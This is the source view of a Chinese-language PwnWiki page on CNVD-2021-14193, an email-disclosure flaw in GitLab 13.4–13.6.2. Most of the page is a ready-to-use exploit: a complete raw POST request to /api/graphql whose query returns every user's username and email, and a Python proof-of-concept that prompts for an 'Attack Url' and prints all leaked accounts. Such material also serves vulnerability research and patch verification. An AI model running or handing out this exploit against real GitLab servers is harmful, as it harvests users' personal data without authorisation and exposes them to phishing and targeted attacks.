View source for GitLab Graphql郵箱信息洩露漏洞 CNVD-2021-14193

From PwnWiki

← GitLab Graphql郵箱信息洩露漏洞 CNVD-2021-14193

You do not have permission to edit this page, for the following reasons:

The action you have requested is limited to users in the group: Users.
You must confirm your email address before editing pages. Please set and validate your email address through your user preferences.

You can view and copy the source of this page.

<languages   />

<translate>
==影響版本==
</translate>

GitLab 13.4 - 13.6.2

<translate>
==漏洞利用==
請求URL：
</translate>
<pre>
http://xxx.xxx.xxx.xxx/-//graphql-explorer
</pre>

<translate>
Gitlab本身不允許獲取賬號郵箱信息，這里通過調用 Graphql 用戶名查詢造成了郵箱洩露漏洞

查看完報告後發現漏洞利用需要有賬號用戶名，在不知道的情況下無法獲取郵箱，在Graphql官網查看得知可以通過另一個構造的語句一次性返回所有的用戶名和郵箱
</translate>
<translate>
發包調用了<code>/api/graphql</code>接口發送數據

完整數據包為:
</translate>
<pre>
POST /api/graphql HTTP/1.1
Host: xxx.xxx.xxx.xxx
Content-Length: 212
Content-Type: application/json


{"query":"{\nusers {\nedges {\n  node {\n    username\n    email\n    avatarUrl\n    status {\n      emoji\n      message\n      messageHtml\n     }\n    }\n   }\n  }\n }","variables":null,"operationName":null}
</pre>

<translate>
成功返回數據，造成 Gitlab的用戶郵箱信息洩露。
</translate>


==POC==
<pre>
import requests
import sys
import random
import re
import json
from requests.packages.urllib3.exceptions import InsecureRequestWarning

def title():
    print('+--------------WgpSec--Team----------------')
    print('+  \033[34mPOC_Des: http://wiki.peiqi.tech                                   \033[0m')
    print('+  \033[34mVersion: GitLab 13.4 - 13.6.2                                     \033[0m')
    print('+  \033[36m使用格式:  python3 poc.py                                            \033[0m')
    print('+  \033[36mUrl         >>> http://xxx.xxx.xxx.xxx                             \033[0m')
    print('+------------------------------------------')

def POC_1(target_url):
    vuln_url = target_url + "/api/graphql"
    user_number = 0
    headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",
        "Content-Type": "application/json",
    }
    try:
        data = """
        {"query":"{\\nusers {\\nedges {\\n  node {\\n    username\\n    email\\n    avatarUrl\\n    status {\\n      emoji\\n      message\\n      messageHtml\\n     }\\n    }\\n   }\\n  }\\n }","variables":null,"operationName":null}
        """
        requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
        response = requests.post(url=vuln_url, headers=headers, data=data ,verify=False, timeout=5)
        if "email" in response.text and "username" in response.text and "@" in response.text and response.status_code == 200:
            print('\033[32m[o] 目标{}存在漏洞, 泄露用户邮箱数据....... \033[0m'.format(target_url))
            for i in range(0,999):
                try:
                    username = json.loads(response.text)["data"]["users"]["edges"][i]["node"]["username"]
                    email = json.loads(response.text)["data"]["users"]["edges"][i]["node"]["email"]
                    user_number = user_number + 1
                    print('\033[34m[o] 用户名:{} 邮箱:{} \033[0m'.format(username, email))
                except:
                    print("\033[32m[o] 共泄露{}名用户邮箱账号 \033[0m".format(user_number))
                    sys.exit(0)
        else:
            print("\033[31m[x] 不存在漏洞 \033[0m")
            sys.exit(0)
    except Exception as e:
        print("\033[31m[x] 请求失败 \033[0m", e)


if __name__ == '__main__':
    title()
    target_url = str(input("\033[35mPlease input Attack Url\nUrl >>> \033[0m"))
    POC_1(target_url)
</pre>


<translate>
==參考==
</translate>
https://mp.weixin.qq.com/s/3cT8d9I7qru2tsURqUDusw
https://gitlab.com/gitlab-org/gitlab/-/issues/244275

Return to GitLab Graphql郵箱信息洩露漏洞 CNVD-2021-14193.

Retrieved from "https://pwnwiki.com/index.php?title=GitLab_Graphql郵箱信息洩露漏洞_CNVD-2021-14193"

Anonymous

Search

View source for GitLab Graphql郵箱信息洩露漏洞 CNVD-2021-14193

Namespaces

More

Page actions

Navigation

Navigation

Community

PwnWiki.org

Wiki tools

Wiki tools

Anonymous

Search

View source for GitLab Graphql郵箱信息洩露漏洞 CNVD-2021-14193

Navigation

Wiki tools

Page tools